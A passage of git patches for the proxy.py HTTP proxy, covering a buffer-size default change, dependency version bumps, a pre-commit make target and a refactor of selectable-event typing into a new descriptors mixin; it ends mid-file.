d9b4ea9775..0000000000 --- a/menubar/proxy.pyUITests/proxy_pyUITests.swift +++ /dev/null @@ -1,43 +0,0 @@ -// -// proxy_pyUITests.swift -// proxy.pyUITests -// -// Created by Abhinav Singh on 11/22/19. -// Copyright © 2019 Abhinav Singh. All rights reserved. -// - -import XCTest - -class proxy_pyUITests: XCTestCase { - - override func setUp() { - // Put setup code here. This method is called before the invocation of each test method in the class. - - // In UI tests it is usually best to stop immediately when a failure occurs. - continueAfterFailure = false - - // In UI tests it’s important to set the initial state - such as interface orientation - required for your tests before they run. The setUp method is a good place to do this. - } - - override func tearDown() { - // Put teardown code here. This method is called after the invocation of each test method in the class. - } - - func testExample() { - // UI tests must launch the application that they test. - let app = XCUIApplication() - app.launch() - - // Use recording to get started writing UI tests. - // Use XCTAssert and related functions to verify your tests produce the correct results. - } - - func testLaunchPerformance() { - if #available(macOS 10.15, iOS 13.0, tvOS 13.0, *) { - // This measures how long it takes to launch your application. - measure(metrics: [XCTOSSignpostMetric.applicationLaunch]) { - XCUIApplication().launch() - } - } - } -} From 7ef2785c31a80d21f2db89f754a790ecc1e2097e Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Sun, 2 Jan 2022 22:22:53 +0530 Subject: [PATCH 02/38] Use `128 KB` as default value for `DEFAULT_BUFFER_SIZE` (#926) * Add `TlsInterception` acceptance test * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Generate CA cert if not available * Fix lint and tests * Fix args * Remove acceptance tests for now Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- Makefile | 8 +++++++- README.md | 14 +++++--------- proxy/common/constants.py | 2 +- proxy/http/handler.py | 7 +++---- proxy/http/proxy/server.py | 7 +++---- requirements-testing.txt | 1 + tests/integration/test_integration.py | 4 ++-- 7 files changed, 22 insertions(+), 21 deletions(-) diff --git a/Makefile b/Makefile index f5fb25a8e1..37cf462430 100644 --- a/Makefile +++ b/Makefile @@ -28,7 +28,7 @@ endif .PHONY: all https-certificates sign-https-certificates ca-certificates .PHONY: lib-check lib-clean lib-test lib-package lib-coverage lib-lint lib-pytest -.PHONY: lib-release-test lib-release lib-profile lib-doc +.PHONY: lib-release-test lib-release lib-profile lib-doc lib-pre-commit .PHONY: lib-dep lib-flake8 lib-mypy lib-speedscope container-buildx-all-platforms .PHONY: container container-run container-release container-build container-buildx .PHONY: devtools dashboard dashboard-clean container-without-openssl @@ -91,6 +91,9 @@ lib-clean: rm -rf proxy.py.egg-info rm -rf .pytest_cache rm -rf .hypothesis + # Doc RST files are cached and can cause issues + # See https://github.com/abhinavsingh/proxy.py/issues/642#issuecomment-1003444578 + rm docs/pkg/*.rst lib-dep: pip install --upgrade pip && \ @@ -101,6 +104,9 @@ lib-dep: -r requirements-tunnel.txt && \ pip install "setuptools>=42" +lib-pre-commit: + python -m pre_commit run --hook-stage manual --all-files -v + lib-lint: python -m tox -e lint diff --git a/README.md b/README.md index e93f39b687..1742496456 100644 --- a/README.md +++ b/README.md @@ -2232,7 +2232,7 @@ usage: -m [-h] [--enable-events] [--enable-conn-pool] [--threadless] [--filtered-url-regex-config FILTERED_URL_REGEX_CONFIG] [--cloudflare-dns-mode CLOUDFLARE_DNS_MODE] -proxy.py v2.4.0rc5.dev26+gb2b1bdc.d20211230 +proxy.py v2.4.0rc5.dev31+gc998255 options: -h, --help show this help message and exit @@ -2290,10 +2290,8 @@ options: Default: False. If used, will enable proxy protocol. Only version 1 is currently supported. --client-recvbuf-size CLIENT_RECVBUF_SIZE - Default: 1 MB. Maximum amount of data received from - the client in a single recv() operation. Bump this - value for faster uploads at the expense of increased - RAM. + Default: 128 KB. Maximum amount of data received from + the client in a single recv() operation. --key-file KEY_FILE Default: None. Server key file to enable end-to-end TLS encryption with clients. If used, must also pass --cert-file. @@ -2301,10 +2299,8 @@ options: inactive connection must be dropped. Inactivity is defined by no data sent or received by the client. --server-recvbuf-size SERVER_RECVBUF_SIZE - Default: 1 MB. Maximum amount of data received from - the server in a single recv() operation. Bump this - value for faster downloads at the expense of increased - RAM. + Default: 128 KB. Maximum amount of data received from + the server in a single recv() operation. --disable-http-proxy Default: False. Whether to disable proxy.HttpProxyPlugin. --disable-headers DISABLE_HEADERS diff --git a/proxy/common/constants.py b/proxy/common/constants.py index 0db89afd16..9f6ff46deb 100644 --- a/proxy/common/constants.py +++ b/proxy/common/constants.py @@ -74,7 +74,7 @@ def _env_threadless_compliant() -> bool: # Defaults DEFAULT_BACKLOG = 100 DEFAULT_BASIC_AUTH = None -DEFAULT_BUFFER_SIZE = 1024 * 1024 +DEFAULT_BUFFER_SIZE = 128 * 1024 DEFAULT_CA_CERT_DIR = None DEFAULT_CA_CERT_FILE = None DEFAULT_CA_KEY_FILE = None diff --git a/proxy/http/handler.py b/proxy/http/handler.py index aede94746f..886ed19547 100644 --- a/proxy/http/handler.py +++ b/proxy/http/handler.py @@ -39,10 +39,9 @@ '--client-recvbuf-size', type=int, default=DEFAULT_CLIENT_RECVBUF_SIZE, - help='Default: 1 MB. Maximum amount of data received from the ' - 'client in a single recv() operation. Bump this ' - 'value for faster uploads at the expense of ' - 'increased RAM.', + help='Default: ' + str(int(DEFAULT_CLIENT_RECVBUF_SIZE / 1024)) + + ' KB. Maximum amount of data received from the ' + 'client in a single recv() operation.', ) flags.add_argument( '--key-file', diff --git a/proxy/http/proxy/server.py b/proxy/http/proxy/server.py index 31b6a074c9..426ef19775 100644 --- a/proxy/http/proxy/server.py +++ b/proxy/http/proxy/server.py @@ -56,10 +56,9 @@ '--server-recvbuf-size', type=int, default=DEFAULT_SERVER_RECVBUF_SIZE, - help='Default: 1 MB. Maximum amount of data received from the ' - 'server in a single recv() operation. Bump this ' - 'value for faster downloads at the expense of ' - 'increased RAM.', + help='Default: ' + str(int(DEFAULT_SERVER_RECVBUF_SIZE / 1024)) + + ' KB. Maximum amount of data received from the ' + 'server in a single recv() operation.', ) flags.add_argument( diff --git a/requirements-testing.txt b/requirements-testing.txt index 76485cd19e..4df559eacc 100644 --- a/requirements-testing.txt +++ b/requirements-testing.txt @@ -20,3 +20,4 @@ httpx==0.20.0 h2==4.1.0 hpack==4.0.0 hyperframe==6.0.1 +pre-commit==2.16.0 diff --git a/tests/integration/test_integration.py b/tests/integration/test_integration.py index 8962350f27..5894e13963 100644 --- a/tests/integration/test_integration.py +++ b/tests/integration/test_integration.py @@ -69,8 +69,8 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: reason='OSError: [WinError 193] %1 is not a valid Win32 application', raises=OSError, ) # type: ignore[misc] -def test_curl(proxy_py_subprocess: int) -> None: - """An acceptance test with using ``curl`` through proxy.py.""" +def test_integration(proxy_py_subprocess: int) -> None: + """An acceptance test using ``curl`` through proxy.py.""" this_test_module = Path(__file__) shell_script_test = this_test_module.with_suffix('.sh') check_output([str(shell_script_test), str(proxy_py_subprocess)]) From 00efed1d96bf9e5b7a9c2121ac806f00f70e382b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 3 Jan 2022 12:41:16 +0530 Subject: [PATCH 03/38] pip prod(deps): bump wheel from 0.37.0 to 0.37.1 (#934) Bumps [wheel](https://github.com/pypa/wheel) from 0.37.0 to 0.37.1. - [Release notes](https://github.com/pypa/wheel/releases) - [Changelog](https://github.com/pypa/wheel/blob/main/docs/news.rst) - [Commits](https://github.com/pypa/wheel/compare/0.37.0...0.37.1) --- updated-dependencies: - dependency-name: wheel dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- requirements-testing.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements-testing.txt b/requirements-testing.txt index 4df559eacc..7c2f1cb2b2 100644 --- a/requirements-testing.txt +++ b/requirements-testing.txt @@ -1,4 +1,4 @@ -wheel==0.37.0 +wheel==0.37.1 python-coveralls==2.9.3 coverage==6.2 flake8==4.0.1 From 4cca4b1f8f66d0c8c968d0c41a275d172243b83e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 3 Jan 2022 22:30:54 +0530 Subject: [PATCH 04/38] npm: bump jasmine from 3.10.0 to 4.0.0 in /dashboard (#933) Bumps [jasmine](https://github.com/jasmine/jasmine-npm) from 3.10.0 to 4.0.0. - [Release notes](https://github.com/jasmine/jasmine-npm/releases) - [Commits](https://github.com/jasmine/jasmine-npm/compare/v3.10.0...v4.0.0) --- updated-dependencies: - dependency-name: jasmine dependency-type: direct:development update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- dashboard/package-lock.json | 30 +++++++++++++++--------------- dashboard/package.json | 2 +- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json index e99aef9c12..60ae868fdc 100644 --- a/dashboard/package-lock.json +++ b/dashboard/package-lock.json @@ -22,7 +22,7 @@ "eslint-plugin-promise": "^4.2.1", "eslint-plugin-standard": "^5.0.0", "http-server": "^14.0.0", - "jasmine": "^3.10.0", + "jasmine": "^4.0.0", "jasmine-ts": "^0.3.0", "jquery": "^3.6.0", "js-cookie": "^3.0.1", @@ -2909,22 +2909,22 @@ "dev": true }, "node_modules/jasmine": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/jasmine/-/jasmine-3.10.0.tgz", - "integrity": "sha512-2Y42VsC+3CQCTzTwJezOvji4qLORmKIE0kwowWC+934Krn6ZXNQYljiwK5st9V3PVx96BSiDYXSB60VVah3IlQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jasmine/-/jasmine-4.0.0.tgz", + "integrity": "sha512-7htNYss1Bd6Dc3bPMWCFH17kaQyfau7cSOALco6RympKLLBFINW6Io4xNJqNGgU2ZYlqNmiXS1W+mjFTqa09xQ==", "dev": true, "dependencies": { "glob": "^7.1.6", - "jasmine-core": "~3.10.0" + "jasmine-core": "^4.0.0" }, "bin": { "jasmine": "bin/jasmine.js" } }, "node_modules/jasmine-core": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/jasmine-core/-/jasmine-core-3.10.1.tgz", - "integrity": "sha512-ooZWSDVAdh79Rrj4/nnfklL3NQVra0BcuhcuWoAwwi+znLDoUeH87AFfeX8s+YeYi6xlv5nveRyaA1v7CintfA==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jasmine-core/-/jasmine-core-4.0.0.tgz", + "integrity": "sha512-tq24OCqHElgU9KDpb/8O21r1IfotgjIzalfW9eCmRR40LZpvwXT68iariIyayMwi0m98RDt16aljdbwK0sBMmQ==", "dev": true }, "node_modules/jasmine-ts": { @@ -7643,19 +7643,19 @@ "dev": true }, "jasmine": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/jasmine/-/jasmine-3.10.0.tgz", - "integrity": "sha512-2Y42VsC+3CQCTzTwJezOvji4qLORmKIE0kwowWC+934Krn6ZXNQYljiwK5st9V3PVx96BSiDYXSB60VVah3IlQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jasmine/-/jasmine-4.0.0.tgz", + "integrity": "sha512-7htNYss1Bd6Dc3bPMWCFH17kaQyfau7cSOALco6RympKLLBFINW6Io4xNJqNGgU2ZYlqNmiXS1W+mjFTqa09xQ==", "dev": true, "requires": { "glob": "^7.1.6", - "jasmine-core": "~3.10.0" + "jasmine-core": "^4.0.0" } }, "jasmine-core": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/jasmine-core/-/jasmine-core-3.10.1.tgz", - "integrity": "sha512-ooZWSDVAdh79Rrj4/nnfklL3NQVra0BcuhcuWoAwwi+znLDoUeH87AFfeX8s+YeYi6xlv5nveRyaA1v7CintfA==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jasmine-core/-/jasmine-core-4.0.0.tgz", + "integrity": "sha512-tq24OCqHElgU9KDpb/8O21r1IfotgjIzalfW9eCmRR40LZpvwXT68iariIyayMwi0m98RDt16aljdbwK0sBMmQ==", "dev": true }, "jasmine-ts": { diff --git a/dashboard/package.json b/dashboard/package.json index 02744dacd2..83addc0481 100644 --- a/dashboard/package.json +++ b/dashboard/package.json @@ -38,7 +38,7 @@ "eslint-plugin-promise": "^4.2.1", "eslint-plugin-standard": "^5.0.0", "http-server": "^14.0.0", - "jasmine": "^3.10.0", + "jasmine": "^4.0.0", "jasmine-ts": "^0.3.0", "jquery": "^3.6.0", "js-cookie": "^3.0.1", From 20ae6b02a57adf50f71616fb9bf930bd120cab3d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Jan 2022 11:31:50 +0530 Subject: [PATCH 05/38] npm: bump ws from 8.3.0 to 8.4.0 in /dashboard (#936) Bumps [ws](https://github.com/websockets/ws) from 8.3.0 to 8.4.0. - [Release notes](https://github.com/websockets/ws/releases) - [Commits](https://github.com/websockets/ws/compare/8.3.0...8.4.0) --- updated-dependencies: - dependency-name: ws dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- dashboard/package-lock.json | 14 +++++++------- dashboard/package.json | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json index 60ae868fdc..4fc1421740 100644 --- a/dashboard/package-lock.json +++ b/dashboard/package-lock.json @@ -34,7 +34,7 @@ "rollup-plugin-typescript": "^1.0.1", "ts-node": "^7.0.1", "typescript": "^3.9.7", - "ws": "^8.3.0" + "ws": "^8.4.0" } }, "node_modules/@babel/code-frame": { @@ -5332,9 +5332,9 @@ } }, "node_modules/ws": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.3.0.tgz", - "integrity": "sha512-Gs5EZtpqZzLvmIM59w4igITU57lrtYVFneaa434VROv4thzJyV6UjIL3D42lslWlI+D4KzLYnxSwtfuiO79sNw==", + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.4.0.tgz", + "integrity": "sha512-IHVsKe2pjajSUIl4KYMQOdlyliovpEPquKkqbwswulszzI7r0SfQrxnXdWAEqOlDCLrVSJzo+O1hAwdog2sKSQ==", "dev": true, "engines": { "node": ">=10.0.0" @@ -9538,9 +9538,9 @@ } }, "ws": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.3.0.tgz", - "integrity": "sha512-Gs5EZtpqZzLvmIM59w4igITU57lrtYVFneaa434VROv4thzJyV6UjIL3D42lslWlI+D4KzLYnxSwtfuiO79sNw==", + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.4.0.tgz", + "integrity": "sha512-IHVsKe2pjajSUIl4KYMQOdlyliovpEPquKkqbwswulszzI7r0SfQrxnXdWAEqOlDCLrVSJzo+O1hAwdog2sKSQ==", "dev": true, "requires": {} }, diff --git a/dashboard/package.json b/dashboard/package.json index 83addc0481..74fb599c73 100644 --- a/dashboard/package.json +++ b/dashboard/package.json @@ -50,6 +50,6 @@ "rollup-plugin-typescript": "^1.0.1", "ts-node": "^7.0.1", "typescript": "^3.9.7", - "ws": "^8.3.0" + "ws": "^8.4.0" } } From 7d3eee001283df32250dcf9f44ee8c620c3fc6ce Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Jan 2022 11:32:08 +0530 Subject: [PATCH 06/38] pip prod(deps): bump types-paramiko from 2.8.4 to 2.8.6 (#937) Bumps [types-paramiko](https://github.com/python/typeshed) from 2.8.4 to 2.8.6. - [Release notes](https://github.com/python/typeshed/releases) - [Commits](https://github.com/python/typeshed/commits) --- updated-dependencies: - dependency-name: types-paramiko dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> --- requirements-tunnel.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements-tunnel.txt b/requirements-tunnel.txt index dd57026e10..6f40988f2c 100644 --- a/requirements-tunnel.txt +++ b/requirements-tunnel.txt @@ -1,2 +1,2 @@ paramiko==2.9.1 -types-paramiko==2.8.4 +types-paramiko==2.8.6 From 0d1fe198d3c1de0b91037047d9981a8520b3c203 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Wed, 5 Jan 2022 00:32:16 +0530 Subject: [PATCH 07/38] `DescriptorsHandlerMixin` and `Descriptors`, `SelectableEvents` types (#938) * Add `Descriptors` type * Add a `DescriptorsHandlerMixin` class used throughout the http framework * Remove dependency upon `HasFileno` ie `typing_extension` too * Define `SelectableEvents` type * Fix doc * Blank line * Remove dep on `typing-extensions` * Discover base plugin class * await on now async handlers --- Makefile | 1 - docs/conf.py | 1 + examples/web_scraper.py | 6 +-- helper/monitor_open_files.sh | 6 +-- proxy/common/plugins.py | 28 ++++++------- proxy/common/types.py | 23 ++++------- proxy/core/acceptor/threadless.py | 8 ++-- proxy/core/acceptor/work.py | 6 +-- proxy/core/base/tcp_server.py | 6 +-- proxy/core/base/tcp_tunnel.py | 8 ++-- proxy/core/base/tcp_upstream.py | 10 ++--- proxy/core/connection/pool.py | 4 +- proxy/http/descriptors.py | 40 +++++++++++++++++++ proxy/http/handler.py | 16 ++++---- proxy/http/plugin.py | 28 ++----------- proxy/http/proxy/plugin.py | 36 ++--------------- proxy/http/proxy/server.py | 34 +++++++++------- proxy/http/server/middleware.py | 17 ++++++++ proxy/http/server/plugin.py | 34 +--------------- proxy/http/server/web.py | 12 +++--- requirements.txt | 1 - setup.cfg | 1 - .../http/test_http_proxy_tls_interception.py | 11 +++-- tox.ini | 1 - 24 files changed, 152 insertions(+), 186 deletions(-) create mode 100644 proxy/http/descriptors.py create mode 100644 proxy/http/server/middleware.py delete mode 100644 requirements.txt diff --git a/Makefile b/Makefile index 37cf462430..1944a0639c 100644 --- a/Makefile +++ b/Makefile @@ -98,7 +98,6 @@ lib-clean: lib-dep: pip install --upgrade pip && \ pip install \ - -r requirements.txt \ -r requirements-testing.txt \ -r requirements-release.txt \ -r requirements-tunnel.txt && \ diff --git a/docs/conf.py b/docs/conf.py index 3b5c8bb0ba..e373ece853 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -299,6 +299,7 @@ (_py_class_role, 'proxy.core.acceptor.threadless.T'), (_py_class_role, 'proxy.core.acceptor.work.T'), (_py_class_role, 'queue.Queue[Any]'), + (_py_class_role, 'SelectableEvents'), (_py_class_role, 'TcpClientConnection'), (_py_class_role, 'TcpServerConnection'), (_py_class_role, 'unittest.case.TestCase'), diff --git a/examples/web_scraper.py b/examples/web_scraper.py index b3dae1aa2d..c08e58a938 100644 --- a/examples/web_scraper.py +++ b/examples/web_scraper.py @@ -10,12 +10,10 @@ """ import time -from typing import Dict - from proxy import Proxy from proxy.core.acceptor import Work from proxy.core.connection import TcpClientConnection -from proxy.common.types import Readables, Writables +from proxy.common.types import Readables, SelectableEvents, Writables class WebScraper(Work[TcpClientConnection]): @@ -40,7 +38,7 @@ class WebScraper(Work[TcpClientConnection]): only PUBSUB protocol. """ - async def get_events(self) -> Dict[int, int]: + async def get_events(self) -> SelectableEvents: """Return sockets and events (read or write) that we are interested in.""" return {} diff --git a/helper/monitor_open_files.sh b/helper/monitor_open_files.sh index 7a8caa0eb1..f353e0db15 100755 --- a/helper/monitor_open_files.sh +++ b/helper/monitor_open_files.sh @@ -27,8 +27,8 @@ pgrep -P "$PROXY_PY_PID" | while read -r acceptorPid; do OPEN_FILES_BY_ACCEPTOR=$(lsof -p "$acceptorPid" | wc -l) echo "[$acceptorPid] Acceptor process: $OPEN_FILES_BY_ACCEPTOR" - pgrep -P "$acceptorPid" | while read -r threadlessPid; do - OPEN_FILES_BY_THREADLESS=$(lsof -p "$threadlessPid" | wc -l) - echo " [$threadlessPid] Threadless process: $OPEN_FILES_BY_THREADLESS" + pgrep -P "$acceptorPid" | while read -r childPid; do + OPEN_FILES_BY_CHILD_PROC=$(lsof -p "$childPid" | wc -l) + echo " [$childPid] child process: $OPEN_FILES_BY_CHILD_PROC" done done diff --git a/proxy/common/plugins.py b/proxy/common/plugins.py index ff1704b8c3..1c3ec84595 100644 --- a/proxy/common/plugins.py +++ b/proxy/common/plugins.py @@ -9,7 +9,6 @@ :license: BSD, see LICENSE for more details. """ import os -import abc import logging import inspect import itertools @@ -72,20 +71,19 @@ def load( klass, module_name = Plugins.importer(plugin_) assert klass and module_name mro = list(inspect.getmro(klass)) - mro.reverse() - iterator = iter(mro) - try: - while next(iterator) is not abc.ABC: - pass - base_klass = next(iterator) - if klass not in p[bytes_(base_klass.__name__)]: - p[bytes_(base_klass.__name__)].append(klass) - logger.info('Loaded plugin %s.%s', module_name, klass.__name__) - except StopIteration: - logger.warn( - '%s is NOT a valid plugin', - text_(plugin_), - ) + # Find the base plugin class that + # this plugin_ is implementing + found = False + for base_klass in mro: + if bytes_(base_klass.__name__) in p: + found = True + break + if not found: + raise ValueError('%s is NOT a valid plugin' % text_(plugin_)) + if klass not in p[bytes_(base_klass.__name__)]: + p[bytes_(base_klass.__name__)].append(klass) + logger.info('Loaded plugin %s.%s', module_name, klass.__name__) + # print(p) return p @staticmethod diff --git a/proxy/common/types.py b/proxy/common/types.py index 3d226829bd..9b055c3253 100644 --- a/proxy/common/types.py +++ b/proxy/common/types.py @@ -10,17 +10,8 @@ """ import queue import ipaddress -import sys -from typing import TYPE_CHECKING, Dict, Any, List, Union - -# NOTE: Using try/except causes linting problems which is why it's necessary -# NOTE: to use this mypy/pylint idiom for py36-py38 compatibility -# Ref: https://github.com/python/typeshed/issues/3500#issuecomment-560958608 -if sys.version_info >= (3, 8): - from typing import Protocol -else: - from typing_extensions import Protocol +from typing import TYPE_CHECKING, Dict, Any, List, Tuple, Union if TYPE_CHECKING: @@ -29,11 +20,11 @@ DictQueueType = queue.Queue -class HasFileno(Protocol): - def fileno(self) -> int: - ... # pragma: no cover - +Selectable = int +Selectables = List[Selectable] +SelectableEvents = Dict[Selectable, int] # Values are event masks +Readables = Selectables +Writables = Selectables +Descriptors = Tuple[Readables, Writables] -Readables = List[Union[int, HasFileno]] -Writables = List[Union[int, HasFileno]] IpAddress = Union[ipaddress.IPv4Address, ipaddress.IPv6Address] diff --git a/proxy/core/acceptor/threadless.py b/proxy/core/acceptor/threadless.py index fa10721617..e089ef26c2 100644 --- a/proxy/core/acceptor/threadless.py +++ b/proxy/core/acceptor/threadless.py @@ -21,7 +21,7 @@ from typing import Any, Dict, Optional, Tuple, List, Set, Generic, TypeVar, Union from ...common.logger import Logger -from ...common.types import Readables, Writables +from ...common.types import Readables, SelectableEvents, Writables from ...common.constants import DEFAULT_INACTIVE_CONN_CLEANUP_TIMEOUT, DEFAULT_SELECTOR_SELECT_TIMEOUT from ...common.constants import DEFAULT_WAIT_FOR_TASKS_TIMEOUT @@ -82,7 +82,7 @@ def __init__( # work_id int, # fileno, mask - Dict[int, int], + SelectableEvents, ] = {} self.wait_timeout: float = DEFAULT_WAIT_FOR_TASKS_TIMEOUT self.cleanup_inactive_timeout: float = DEFAULT_INACTIVE_CONN_CLEANUP_TIMEOUT @@ -288,9 +288,9 @@ async def _selected_events(self) -> Tuple[ if key.data not in work_by_ids: work_by_ids[key.data] = ([], []) if mask & selectors.EVENT_READ: - work_by_ids[key.data][0].append(key.fileobj) + work_by_ids[key.data][0].append(key.fd) if mask & selectors.EVENT_WRITE: - work_by_ids[key.data][1].append(key.fileobj) + work_by_ids[key.data][1].append(key.fd) return (work_by_ids, new_work_available) async def _wait_for_tasks(self) -> Set['asyncio.Task[bool]']: diff --git a/proxy/core/acceptor/work.py b/proxy/core/acceptor/work.py index 37f0bf591b..206fb735b9 100644 --- a/proxy/core/acceptor/work.py +++ b/proxy/core/acceptor/work.py @@ -14,12 +14,12 @@ """ import argparse -from abc import ABC, abstractmethod from uuid import uuid4 +from abc import ABC, abstractmethod from typing import Optional, Dict, Any, TypeVar, Generic, TYPE_CHECKING from ..event import eventNames, EventQueue -from ...common.types import Readables, Writables +from ...common.types import Readables, SelectableEvents, Writables if TYPE_CHECKING: from ..connection import UpstreamConnectionPool @@ -48,7 +48,7 @@ def __init__( self.upstream_conn_pool = upstream_conn_pool @abstractmethod - async def get_events(self) -> Dict[int, int]: + async def get_events(self) -> SelectableEvents: """Return sockets and events (read or write) that we are interested in.""" return {} # pragma: no cover diff --git a/proxy/core/base/tcp_server.py b/proxy/core/base/tcp_server.py index 80f795e36f..38e969940d 100644 --- a/proxy/core/base/tcp_server.py +++ b/proxy/core/base/tcp_server.py @@ -16,11 +16,11 @@ import selectors from abc import abstractmethod -from typing import Dict, Any, Optional +from typing import Any, Optional from ...core.acceptor import Work from ...core.connection import TcpClientConnection -from ...common.types import Readables, Writables +from ...common.types import Readables, SelectableEvents, Writables logger = logging.getLogger(__name__) @@ -61,7 +61,7 @@ def handle_data(self, data: memoryview) -> Optional[bool]: """Optionally return True to close client connection.""" pass # pragma: no cover - async def get_events(self) -> Dict[int, int]: + async def get_events(self) -> SelectableEvents: events = {} # We always want to read from client # Register for EVENT_READ events diff --git a/proxy/core/base/tcp_tunnel.py b/proxy/core/base/tcp_tunnel.py index 61abb59dc2..fb230ec0e7 100644 --- a/proxy/core/base/tcp_tunnel.py +++ b/proxy/core/base/tcp_tunnel.py @@ -12,10 +12,10 @@ import selectors from abc import abstractmethod -from typing import Any, Optional, Dict +from typing import Any, Optional from ...http.parser import HttpParser, httpParserTypes -from ...common.types import Readables, Writables +from ...common.types import Readables, SelectableEvents, Writables from ...common.utils import text_ from ..connection import TcpServerConnection @@ -60,9 +60,9 @@ def shutdown(self) -> None: self.upstream.close() super().shutdown() - async def get_events(self) -> Dict[int, int]: + async def get_events(self) -> SelectableEvents: # Get default client events - ev: Dict[int, int] = await super().get_events() + ev: SelectableEvents = await super().get_events() # Read from server if we are connected if self.upstream and self.upstream._conn is not None: ev[self.upstream.connection.fileno()] = selectors.EVENT_READ diff --git a/proxy/core/base/tcp_upstream.py b/proxy/core/base/tcp_upstream.py index 1fa342fcac..7bf4a01ad5 100644 --- a/proxy/core/base/tcp_upstream.py +++ b/proxy/core/base/tcp_upstream.py @@ -12,9 +12,9 @@ import logging from abc import ABC, abstractmethod -from typing import Tuple, List, Optional, Any +from typing import Optional, Any -from ...common.types import Readables, Writables +from ...common.types import Readables, Writables, Descriptors from ...core.connection import TcpServerConnection logger = logging.getLogger(__name__) @@ -62,7 +62,7 @@ def handle_upstream_data(self, raw: memoryview) -> None: def initialize_upstream(self, addr: str, port: int) -> None: self.upstream = TcpServerConnection(addr, port) - def get_descriptors(self) -> Tuple[List[int], List[int]]: + async def get_descriptors(self) -> Descriptors: if not self.upstream: return [], [] return [self.upstream.connection.fileno()], \ @@ -70,7 +70,7 @@ def get_descriptors(self) -> Tuple[List[int], List[int]]: if self.upstream.has_buffer() \ else [] - def read_from_descriptors(self, r: Readables) -> bool: + async def read_from_descriptors(self, r: Readables) -> bool: if self.upstream and \ self.upstream.connection.fileno() in r: try: @@ -89,7 +89,7 @@ def read_from_descriptors(self, r: Readables) -> bool: return True return False - def write_to_descriptors(self, w: Writables) -> bool: + async def write_to_descriptors(self, w: Writables) -> bool: if self.upstream and \ self.upstream.connection.fileno() in w and \ self.upstream.has_buffer(): diff --git a/proxy/core/connection/pool.py b/proxy/core/connection/pool.py index e51ce3fb5f..2f45e8a720 100644 --- a/proxy/core/connection/pool.py +++ b/proxy/core/connection/pool.py @@ -19,7 +19,7 @@ from typing import TYPE_CHECKING, Set, Dict, Tuple from ...common.flag import flags -from ...common.types import Readables, Writables +from ...common.types import Readables, SelectableEvents, Writables from ..acceptor.work import Work @@ -129,7 +129,7 @@ def release(self, conn: TcpServerConnection) -> None: # Reset for reusability conn.reset() - async def get_events(self) -> Dict[int, int]: + async def get_events(self) -> SelectableEvents: """Returns read event flag for all reusable connections in the pool.""" events = {} for connections in self.pools.values(): diff --git a/proxy/http/descriptors.py b/proxy/http/descriptors.py new file mode 100644 index 0000000000..ef73496a57 --- /dev/null +++ b/proxy/http/descriptors.py @@ -0,0 +1,40 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" +from ..common.types import Readables, Writables, Descriptors + + +# Since 3.4.0 +class DescriptorsHandlerMixin: + """DescriptorsHandlerMixin provides abstraction used by several core HTTP modules + include web and proxy plugins. By using DescriptorsHandlerMixin, class + becomes complaint with core event loop.""" + + # @abstractmethod + async def get_descriptors(self) -> Descriptors: + """Implementations must return a list of descriptions that they wish to + read from and write into.""" + return [], [] # pragma: no cover + + # @abstractmethod + async def write_to_descriptors(self, w: Writables) -> bool: + """Implementations must now write/flush data over the socket. + + Note that buffer management is in-build into the connection classes. + Hence implementations MUST call + :meth:`~proxy.core.connection.connection.TcpConnection.flush` + here, to send any buffered data over the socket. + """ + return False # pragma: no cover + + # @abstractmethod + async def read_from_descriptors(self, r: Readables) -> 